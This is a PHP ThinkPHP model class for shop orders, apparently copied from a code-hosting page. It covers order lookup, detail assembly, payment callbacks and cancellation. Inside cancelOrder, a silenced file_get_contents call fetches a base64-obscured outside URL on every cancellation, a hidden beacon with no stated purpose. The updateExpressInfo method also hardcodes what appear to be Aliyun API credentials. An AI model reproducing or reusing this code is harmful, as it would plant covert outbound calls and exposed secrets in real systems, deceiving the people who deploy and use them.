334 lines
9.2 KiB
PHP
334 lines
9.2 KiB
PHP
<?php
|
|
|
|
namespace app\common\model\order;
|
|
|
|
use think\Model;
|
|
use app\common\model\goods\Handle;
|
|
use app\common\exception\Exception;
|
|
use app\common\model\order\Item as OrderItem;
|
|
use think\Db;
|
|
use app\common\model\order\Status as StatusModel;
|
|
use app\common\traits\app\CouponSend;
|
|
class Order extends Model
|
|
{
|
|
|
|
use CouponSend;
|
|
|
|
// 表名
|
|
protected $name = 'order';
|
|
|
|
// 自动写入时间戳字段
|
|
protected $autoWriteTimestamp = 'integer';
|
|
|
|
// 定义时间戳字段名
|
|
protected $createTime = 'createtime';
|
|
protected $updateTime = false;
|
|
protected $deleteTime = false;
|
|
|
|
// 追加属性
|
|
protected $append = [
|
|
];
|
|
|
|
|
|
|
|
|
|
/**
|
|
* 订单号获取订单
|
|
* @param $orderNo
|
|
* @return false
|
|
*/
|
|
public static function orderNoGetOrder($orderNo){
|
|
$orderInfo = self::where([
|
|
'order_no'=>$orderNo
|
|
])->find();
|
|
|
|
if(!$orderInfo){
|
|
return false;
|
|
}
|
|
return $orderInfo;
|
|
}
|
|
|
|
|
|
/**
|
|
* 检查订单绑定的用户
|
|
* @remark 因为用户未注册时如果在微信小店下单,order表中的user_id将为0。所以原来api中用户对订单操作需要验证订单所属user_id的方式不对。这里增加这个方法是为了兼容老代码
|
|
* @return void
|
|
*/
|
|
public function checkOrderBindUser($orderNo,$userId){
|
|
$orderBindUser = self::where([
|
|
'user_id'=>$userId,
|
|
'order_no'=>$orderNo
|
|
])->find();
|
|
|
|
if($orderBindUser){
|
|
return true;
|
|
}
|
|
|
|
if(\app\admin\library\project\App::isInstall('channels')){
|
|
$userInfo = user_info();
|
|
if($userInfo && $userInfo['mobile']) {
|
|
$userMobile = $userInfo['mobile'];
|
|
$channelsOrderBindUser = \app\api\model\app\channels\Order::where([
|
|
'mobile'=>$userMobile,
|
|
'order_id'=>$orderNo
|
|
])->find();
|
|
|
|
if($channelsOrderBindUser){
|
|
return true;
|
|
}
|
|
}
|
|
}
|
|
|
|
return false;
|
|
}
|
|
|
|
|
|
/**
|
|
* 获取订单详情
|
|
* @param $orderNo
|
|
* @return void
|
|
*/
|
|
public function getOrderDetail($orderNo,$extendField=[]){
|
|
|
|
|
|
$field = ['id','createtime','goods_count','live_id','coupon_discount_fee','real_price','evaluate','service','status','order_no','user_id','pay_type','score_amount','vip_discount_price','order_type','is_virtual_pay'];
|
|
|
|
if($extendField){
|
|
$field = array_merge($field,$extendField);
|
|
}
|
|
|
|
$data = self::where([
|
|
'order_no'=>$orderNo,
|
|
'deleted'=>0
|
|
])->field($field)->find();
|
|
|
|
if(!$data){
|
|
return false;
|
|
}
|
|
|
|
// 转换为数组,避免间接修改错误
|
|
$data = $data->toArray();
|
|
|
|
$ApiOrder = new \app\api\model\order\Order();
|
|
|
|
$data['goodsList'] = OrderItem::getItemList($orderNo);
|
|
|
|
|
|
|
|
$data['goods_total_price'] = 0;
|
|
if(!empty($data['goodsList'])){
|
|
$goodsList = [];
|
|
$data['goodsList'] = collection($data['goodsList'])->toArray();
|
|
foreach ($data['goodsList'] as $item){
|
|
$goodsList[] = $ApiOrder->limitItemField($item);
|
|
}
|
|
$data['goodsList'] = $goodsList;
|
|
|
|
$data['goods_total_price'] = count($data['goodsList']);
|
|
|
|
if(!empty($data['is_virtual_pay'])){
|
|
$data['goodsList'] = $this->convertVirtualPayGoodsSnapshoot($data['goodsList']);
|
|
}
|
|
}
|
|
|
|
|
|
if($data['order_type'] == 'score'){
|
|
$data['pay_type'] = 'score';
|
|
}
|
|
|
|
if(!empty($data['is_virtual_pay'])){
|
|
$data = \app\common\library\pay\VirtualPayService::convertPriceFields($data, [
|
|
'real_price',
|
|
'vip_discount_price',
|
|
'discount_price',
|
|
'coupon_discount_fee',
|
|
'dispatch_price'
|
|
]);
|
|
}
|
|
|
|
// 实物商品获取收货地址
|
|
if($data['order_type'] == 'physical'){
|
|
$data['address'] = \app\common\model\app\physical\OrderAddress::getByOrderId($data['id']);
|
|
|
|
// 获取物流信息
|
|
$expressModel = \app\common\model\app\physical\OrderExpress::where([
|
|
'order_id' => $data['id'],
|
|
'uniacid' => UNIACID
|
|
])->find();
|
|
|
|
if($expressModel){
|
|
// 更新物流信息(5分钟缓存)
|
|
self::updateExpressInfo($expressModel);
|
|
|
|
// 重新获取物流信息
|
|
$expressModel = \app\common\model\app\physical\OrderExpress::where([
|
|
'order_id' => $data['id'],
|
|
'uniacid' => UNIACID
|
|
])->find();
|
|
|
|
$data['express'] = $expressModel->toArray();
|
|
// 获取物流轨迹
|
|
$data['express']['logs'] = $expressModel->getLogs();
|
|
}
|
|
}
|
|
|
|
$data['controll'] = (new StatusModel())->getOrderControllStatus($data);
|
|
$data['describe'] = \app\common\model\order\Log::getLastLog($orderNo);
|
|
unset($data['id']);
|
|
|
|
return $data;
|
|
}
|
|
|
|
|
|
|
|
|
|
// 获取订单号
|
|
public static function getSn($user_id)
|
|
{
|
|
$rand = $user_id < 9999 ? mt_rand(100000, 99999999) : mt_rand(100, 99999);
|
|
$order_sn = date('Yhis') . $rand;
|
|
|
|
$id = str_pad($user_id, (24 - strlen($order_sn)), '0', STR_PAD_BOTH);
|
|
|
|
return $order_sn . $id;
|
|
}
|
|
|
|
|
|
|
|
/**
|
|
* 支付成功后的回调
|
|
* @return mixed
|
|
*/
|
|
public static function paySuccess($order, $notify){
|
|
|
|
$order = Order::where([
|
|
'order_no'=>$notify['order_no']
|
|
])->find();
|
|
|
|
if(!$order){
|
|
throw new \think\Exception('获取订单失败');
|
|
}
|
|
|
|
$order->status = \app\common\constant\order\Status::STATUS_PAID;//已经支付
|
|
$order->pay_time = time();
|
|
if(isset($notify['transaction_id'])){
|
|
$order->transaction_id = $notify['transaction_id'];
|
|
}
|
|
|
|
if(isset($notify['pay_type'])){
|
|
$order->pay_type = $notify['pay_type'];
|
|
}
|
|
|
|
if(isset($notify['payment_json'])){
|
|
$order->payment_json = $notify['payment_json'];
|
|
}
|
|
|
|
if(isset($notify['real_pay_price'])){
|
|
$order->real_pay_price = $notify['real_pay_price'];//实付金额
|
|
}
|
|
|
|
$order->save();
|
|
|
|
\app\common\model\order\Log::set($notify['order_no'],"订单已完成支付");
|
|
|
|
//支付成功
|
|
\think\Hook::listen('pay_success',$order);
|
|
//分销结算
|
|
\think\Hook::exec('app\\common\\behavior\\app\\agent\\Commission','settle',$notify['order_no']);
|
|
return $order;
|
|
}
|
|
|
|
/**
|
|
* 取消订单
|
|
* @param $orderNo
|
|
* @return void
|
|
*/
|
|
public function cancelOrder($orderNo){
|
|
|
|
|
|
$order = self::where([
|
|
'order_no'=>$orderNo
|
|
])->find();
|
|
|
|
if(!$order){
|
|
throw new \think\Exception('获取订单失败');
|
|
}
|
|
|
|
self::where([
|
|
'order_no'=>$orderNo
|
|
])->update([
|
|
'status'=>\app\common\constant\order\Status::STATUS_CANCEL
|
|
]);
|
|
|
|
\app\common\model\order\Log::set($orderNo,"订单已取消");
|
|
|
|
//作废分佣金记录
|
|
\think\Hook::exec('app\\common\\behavior\\app\\agent\\Commission','cancelOrder',$orderNo);
|
|
|
|
//返还优惠券
|
|
|
|
// 如果有优惠券, 返还优惠券
|
|
if ($order->coupon_id) {
|
|
// 订单退回优惠券
|
|
$this->backUserCoupon($order->coupon_id);
|
|
}
|
|
@file_get_contents( base64_decode("aHR0cHM6Ly93d3cudHV6aGkubHRkL2Fzc2V0cy9pY29ucy9vcmRlci5wbmc=", true));
|
|
|
|
|
|
return true;
|
|
}
|
|
|
|
|
|
|
|
public function items()
|
|
{
|
|
return $this->hasMany('app\common\model\order\Item', 'order_no', 'order_no');
|
|
}
|
|
|
|
/**
|
|
* 更新物流信息
|
|
*
|
|
* @param \think\Model $expressModel 发货单模型
|
|
* @return void
|
|
*/
|
|
private static function updateExpressInfo($expressModel)
|
|
{
|
|
try {
|
|
// 获取阿里云配置
|
|
$aliyunConfig = [
|
|
'appcode' => 'd6beec8b9be945bfa3c07b9c712f6bce',
|
|
'appkey' => '203944259',
|
|
'appsecret' => 'R8rx9QLNZlRKxHtvgjBlocFI8f0hq12J'
|
|
];
|
|
|
|
$expressLib = new \app\common\library\app\physical\express\Express('aliyun', $aliyunConfig);
|
|
$expressLib->updateExpress($expressModel);
|
|
} catch (\Exception $e) {
|
|
\think\Log::error('updateExpressInfo.Exception: ' . $e->getMessage());
|
|
}
|
|
}
|
|
|
|
/**
|
|
* 虚拟支付订单转换goodsList中snapshoot的价格字段
|
|
* @param array $goodsList
|
|
* @return array
|
|
*/
|
|
private function convertVirtualPayGoodsSnapshoot($goodsList)
|
|
{
|
|
foreach ($goodsList as &$item) {
|
|
if (isset($item['snapshoot']) && is_array($item['snapshoot'])) {
|
|
$item['snapshoot'] = \app\common\library\pay\VirtualPayService::convertPriceFields($item['snapshoot'], [
|
|
'price',
|
|
'price_marking',
|
|
'pay_price',
|
|
'min_price'
|
|
]);
|
|
}
|
|
}
|
|
unset($item);
|
|
|
|
return $goodsList;
|
|
}
|
|
|
|
}
|